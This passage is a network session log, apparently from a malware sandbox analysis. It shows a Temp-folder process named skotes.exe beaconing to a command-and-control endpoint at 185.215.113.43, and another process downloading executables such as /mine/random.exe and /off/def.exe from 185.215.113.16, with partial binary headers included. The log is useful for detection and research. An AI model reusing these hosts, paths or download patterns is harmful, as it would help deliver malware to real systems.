15	192.168.2.7	50015	34.107.221.82	80	7688	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:29.348258972 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:54:29.958378077 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61091 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50016	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:29.454370975 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:54:30.370970964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50021	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:31.878703117 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:54:32.808315039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50025	34.107.221.82	80	7688	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:32.297362089 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:54:32.891237020 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77534 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50030	34.107.221.82	80	7688	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:33.499593019 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:54:34.095448017 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61096 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:54:44.104285002 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50033	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:34.439477921 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:54:35.353620052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50034	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:36.891877890 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:54:37.840110064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50035	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:39.563184977 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:54:40.596393108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50036	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:42.267076969 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:54:43.184397936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50038	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:44.911979914 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:54:45.824687004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50040	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:47.767291069 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:54:48.462045908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50044	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:50.456398964 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:54:51.316137075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50047	185.215.113.16	80	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:50.961441040 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:54:51.874106884 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:51 GMT Content-Type: application/octet-stream Content-Length: 1897984 Last-Modified: Sat, 26 Oct 2024 06:48:41 GMT Connection: keep-alive ETag: "671c90c9-1cf600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0K@`K#@WktK$K @.rsrc@.idata @ *@juonirvb@1@iownkumr K@.taggant00K"@
Oct 26, 2024 08:54:51.874167919 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:51.874200106 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:51.874255896 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:51.874313116 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:51.874346972 CEST	636	IN	Data Raw: 3e 4f 55 21 4a 98 b4 54 aa d2 b7 af 3e 42 b4 41 71 5e b0 41 1e 87 a6 4f 32 e2 6a ea 91 a7 d4 e0 16 12 b4 24 15 39 a5 68 92 3e d9 d3 6a 8e f8 4b ee 43 ff a4 32 6b dc f3 db f6 9c 04 ef 86 65 e5 e0 c2 b7 93 55 42 18 bd 15 fa 45 a5 72 90 c9 5e e0 e6 Data Ascii: >OU!JT>BAq^AO2j$9h>jKC2keUBEr^L%ij$TP09i>sep+o8DAi33VA5DC\2h(QR:d,6tP0A>*.:qPCO3pB^\
Oct 26, 2024 08:54:51.874381065 CEST	1236	IN	Data Raw: e0 23 a7 b0 4d 91 a9 8a 82 f7 e4 40 de fe be 8f ae f0 24 51 51 09 36 b5 e0 52 a2 40 24 90 d6 af 03 42 a4 13 9c be 94 58 a8 fe e0 4e 00 de a9 3c 01 09 30 e1 f2 9a b4 8c ee 86 a5 e4 e0 02 b7 d3 ca 72 a8 e0 02 cb d8 b6 55 fe f9 50 ee 59 09 c6 c2 22 Data Ascii: #M@$QQ6R@$BXN<0rUPY"X./ 0HrA>;i:OL"@3Aq!IIW5DC3QUPV@cNN>4EW\&R$iQM
Oct 26, 2024 08:54:51.874414921 CEST	1236	IN	Data Raw: 49 23 32 97 57 b3 df 66 46 94 d1 aa a5 f3 a5 f0 54 bc 24 4f 3e 02 97 9e 62 2a 16 b3 62 4f 39 53 e8 92 d4 12 53 9c 09 84 10 f7 d6 9c 34 ff ea 3d 02 26 6e 68 c5 a8 c3 5e df a8 e9 eb 46 6b 5e b4 c9 ae ce f8 c9 a3 1f 8d 0e af c6 e3 f2 96 f8 93 ee ea Data Ascii: I#2WfFT$O>bbO9SS4=&nh^Fk^!r!z56zUJs{wuq:ljtGVLc?x!notz3lz#>ZwT;,{7KQ<6CSC_ngDrEK?%3\!z\|}CzFp.
Oct 26, 2024 08:54:51.874448061 CEST	1236	IN	Data Raw: ca 3c af 7f dc 1e 03 6f 0f 0d 24 b1 26 b3 5c 64 ae 57 92 8d b6 93 7c b1 1f 3b 3d 71 b4 d3 37 11 75 fd 33 67 4a 01 a1 1b a7 d0 12 68 f5 63 98 b0 9b bf 23 80 21 ac d1 37 f9 14 94 e3 24 b0 0b a7 b7 9e 0d b5 2e b8 89 d7 ff d2 0b 8b 6c fb 10 85 93 93 Data Ascii: <o$&\dW\|;=q7u3gJhc#!7$.lbkx[6=E\(tA \mTt5g?6[aR\|M)2f+)wd+`MrVo!nd?'9*+;28!V3_nD2
Oct 26, 2024 08:54:51.874480963 CEST	36	IN	Data Raw: b7 15 13 05 b7 65 d8 ec e0 e6 aa e5 25 90 ae a7 37 8a 10 34 36 25 f2 90 e9 f1 5f 55 f1 9d f6 40 ae 3f 14 ee Data Ascii: e%746%_U@?
Oct 26, 2024 08:54:51.890714884 CEST	1236	IN	Data Raw: e1 d4 bc a4 91 1d 20 b4 6d 40 ec ce e6 5a f0 04 2f 8c fa 8a ab 80 a5 3b 38 37 f0 52 c2 22 d0 84 a1 3f 61 60 0f ff b5 6a 0d 22 df f5 3c 0e dc a5 32 90 a5 68 7b 81 ff 78 78 91 1a 3d 03 ea 88 21 95 b8 d6 24 6b 0a 77 ea 9c 7a e0 1e ad e0 60 50 31 fc Data Ascii: m@Z/;87R"?a`j"<2h{xx=!$kwz`P1t\YhkW^)F2t*&x\(4g@Z!HVh$TB52=q#iA53_]Qo^biA}>cC+$T
Oct 26, 2024 08:54:57.020930052 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:54:57.303020000 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:57 GMT Content-Type: application/octet-stream Content-Length: 1872384 Last-Modified: Sat, 26 Oct 2024 06:48:34 GMT Connection: keep-alive ETag: "671c90c2-1c9200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL9$g$j@j @P%d% %(@.rsrc %8@.idata %8@ *%:@seldsqgz0P.<@ogrbyegijj@.taggant0j"p@
Oct 26, 2024 08:54:59.092086077 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:54:59.373909950 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:59 GMT Content-Type: application/octet-stream Content-Length: 2810368 Last-Modified: Sat, 26 Oct 2024 05:56:24 GMT Connection: keep-alive ETag: "671c8488-2ae200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e de 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +^+`Ui` @ @.rsrc`2@.idata 8@itjqivob*:@lqldnesx +@.taggant@@+"*@

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	50052	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:51.770884991 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:54:52.382707119 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61114 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:54:52.395987988 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
